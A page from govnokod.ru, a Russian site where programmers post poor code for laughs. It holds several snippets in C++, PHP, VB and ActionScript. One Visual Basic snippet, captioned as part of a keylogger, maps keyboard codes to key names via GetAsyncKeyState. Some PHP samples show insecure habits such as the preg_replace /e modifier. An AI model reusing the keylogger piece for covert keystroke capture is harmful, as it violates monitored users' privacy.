- 1
- 2
- 3
- 4
- 5
- 6
- 7
class boolshit{
public:
boolshit(bool shit):_shit(shit){}
operator bool() const{return _shit;}
private:
bool _shit;
};
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+3.3
class boolshit{
public:
boolshit(bool shit):_shit(shit){}
operator bool() const{return _shit;}
private:
bool _shit;
};
:)
+152
// phpBB 3.0.x auto-generated configuration file
// Do not change anything in this file!
include_once dirname(dirname (dirname (__FILE__)))."/conf/config.php";
Мегакод
−114
Module MyChrModule
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
'49 to 57 Chr , 32 space
Public Function Mychr(ByVal ChrNumber As Long) As String
If ChrNumber = 1 Then Mychr = "[LMB]"
If ChrNumber = 2 Then Mychr = "[RMB]"
If ChrNumber = 4 Then Mychr = "[MMB]" ' MouseMiddleButton ( Scroll button )
If ChrNumber = 9 Then Mychr = "[Tab]"
If ChrNumber = 20 Then Mychr = "[CapsLock]"
If ChrNumber = 160 Then Mychr = "[LeftShift]"
If ChrNumber = 162 Then Mychr = "[LeftCtrl]"
If ChrNumber = 192 Then Mychr = "`"
If ChrNumber = 112 Then Mychr = "[F1]" '112 to 123
If ChrNumber = 113 Then Mychr = "[F2]"
If ChrNumber = 114 Then Mychr = "[F3]"
If ChrNumber = 115 Then Mychr = "[F4]"
If ChrNumber = 116 Then Mychr = "[F5]"
If ChrNumber = 117 Then Mychr = "[F6]"
If ChrNumber = 118 Then Mychr = "[F7]"
If ChrNumber = 119 Then Mychr = "[F8]"
If ChrNumber = 120 Then Mychr = "[F9]"
If ChrNumber = 121 Then Mychr = "[F10]"
If ChrNumber = 122 Then Mychr = "[F11]"
If ChrNumber = 123 Then Mychr = "[F12]"
If ChrNumber = 189 Then Mychr = "-"
If ChrNumber = 187 Then Mychr = "="
If ChrNumber = 220 Then Mychr = "\"
If ChrNumber = 219 Then Mychr = "["
If ChrNumber = 221 Then Mychr = "]"
If ChrNumber = 186 Then Mychr = ";"
If ChrNumber = 220 Then Mychr = "\"
If ChrNumber = 222 Then Mychr = "'"
If ChrNumber = 188 Then Mychr = ","
If ChrNumber = 190 Then Mychr = "."
If ChrNumber = 191 Then Mychr = "/"
If ChrNumber = 8 Then Mychr = "[BckSpc]"
If ChrNumber = 123 Then Mychr = "[F12]"
If ChrNumber = 13 Then Mychr = "[Enter]"
If ChrNumber = 161 Then Mychr = "[RightShift]"
If ChrNumber = 91 Then Mychr = "[LeftLogo]"
If ChrNumber = 92 Then Mychr = "[RightLogo]"
If ChrNumber = 93 Then Mychr = "[RMB Key]"
If ChrNumber = 163 Then Mychr = "[RightCtrl]"
If ChrNumber = 164 Then Mychr = "[LeftAlt]"
If ChrNumber = 165 Then Mychr = "[RightAlt]"
If ChrNumber = 44 Then Mychr = "[Print]"
If ChrNumber = 19 Then Mychr = "[Pause]"
If ChrNumber = 45 Then Mychr = "[Insert]"
If ChrNumber = 36 Then Mychr = "[Home]"
If ChrNumber = 33 Then Mychr = "[PageUp]"
If ChrNumber = 46 Then Mychr = "[Delete]"
If ChrNumber = 35 Then Mychr = "[End]"
If ChrNumber = 34 Then Mychr = "[PageDown]"
If ChrNumber = 37 Then Mychr = "[Left]"
If ChrNumber = 38 Then Mychr = "[Up]"
If ChrNumber = 39 Then Mychr = "[Right]"
If ChrNumber = 40 Then Mychr = "[Down]"
If ChrNumber = 144 Then Mychr = "[NumLock]"
'...
Один из модулей кейлогера...
+153.1
function filterVar($value)
{
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
$value = strip_tags($value); //режем теги.
$value = preg_replace('%(<[^>]*(>|$)|>)%e', '', $value);
return str_replace(array("\n", "\r"), array(' ', ''), $value);
}
foreach ($_GET as $reqValue)
{
$reqValue = is_array($reqValue) ? array_filter($reqValue, 'filterVar') : filterVar($reqValue);
}
$_REQUEST = array_merge ($_GET,$_POST);
это меня вывело из себя
+158.2
$step = ($item / 10);
$step = explode(".", $step);
$j = ($step[0] * 10 + 1);
Округляем хуле %)
+18.2
ProfileManager* man = Application::GetProfileManager();
_DESIRE(man); //гм. "Желать мужика". Ужос какой. Это не я написал, если чо. Это оно само
Вот в коде наткнулся, улыбнуло
+161.8
if( 7 == 26 )
{
return confirm("Status 'finished pending' confirmation:\nAre you sure you made all needed operations on this order?");
}
else return confirm('Save?');
Вот такие прелести
+156
test
test
−132.6
public function showNotAvailableAlert(str:String):void
{
var defString:String = str = "Connection with server is lost. Unfortunately you can not continue now. Please try later.";
if(str)
{
Alert.show(str, "Not connected to server");
}
else
{
Alert.show(defString, "Not connected to server");
}
}
+149.9
<?
global $db;
$db=new db(HOST,USER,PASS,DBNAME); //подключение к бд
class db{
public $SumQuerys=false; //Temp Var
public $Vtime; //Temp time summ
public $td; //Temp date
public $db_id= false;
public $query_num=0;
public $query_id=NULL;
public $mysql_error=FALSE;
public $mysql_error_num=NULL;
public $last_query=NULL;
var $error=0;
function __construct($host='',$user='',$pas='',$bd=''){
$this->db_id=mysql_connect($host,$user,$pas) or die('db connect error');
mysql_select_db($bd,$this->db_id) or die("db: '$bd' select error");
mysql_query('SET NAMES utf8');
}
function __destruct(){
$this->close();
if ($this->SumQuerys){
#print "<table style='font-size:10px;border-collapse:collapse;border:1px dotted black' border=1>".$this->SumQuerys."<tr><td><b>$this->Vtime</b></td><td></td></table>";
}
}
function query($query, $show_error=true){
$time = microtime(true);
$this->last_query = $query;
if(!($this->query_id = mysql_query($query, $this->db_id))){
$this->error=1;
$this->mysql_error = mysql_error();
$this->mysql_error_num=mysql_errno();
if($show_error){
$this->display_error($this->mysql_error, $this->mysql_error_num, $query);
}
} else {$this->error=0;}
$this->query_num ++;
// ----------------------------------------------------------------------------
$time = round(microtime(true)-$time,5);
if($time>0.003){
$alert = "color:red";
}
$this->Vtime += $time;
@$this->SumQuerys .= "<tr style='$alert'><td>".$time."</td><td>".$query.'</td></tr>';
//------------------------------------------------------------------------------
return $this->query_id;
}
function qrow($query){
$this->query($query);
return mysql_fetch_row($this->query_id);
}
function get_row($query_id = ''){
if ($query_id == '') $query_id = $this->query_id;
return mysql_fetch_assoc($query_id);
}
function get_array($query_id = ''){
if ($query_id == '') $query_id = $this->query_id;
return mysql_fetch_array($query_id);
}
function fetch($query_id = ''){
global $d;
if ($query_id == '') $query_id = $this->query_id;
return $d=@mysql_fetch_object($query_id);
}
function fetchAll($field = ''){
while ($d=$this->fetch($this->query_id)){
if ($field == ''){
$arr[] = $d;
} else {
$arr[] = $d->$field;
}
}
return @$arr;
}
function qAll($query){
$this->query($query);
return $this->fetchAll();
}
function fetch_row($query_id = ''){
global $d;
if ($query_id == '') $query_id = $this->query_id;
return $d=@mysql_fetch_row($query_id);
}
function qfetch($query){
global $d;
$this->query($query);
return $d=@mysql_fetch_object($this->query_id);
}
function num_rows($query_id = ''){
if ($query_id == '') $query_id = $this->query_id;
return mysql_num_rows($query_id);
}
function insert_id() {
return mysql_insert_id($this->db_id);
}
интерестный класс для работы с бд=)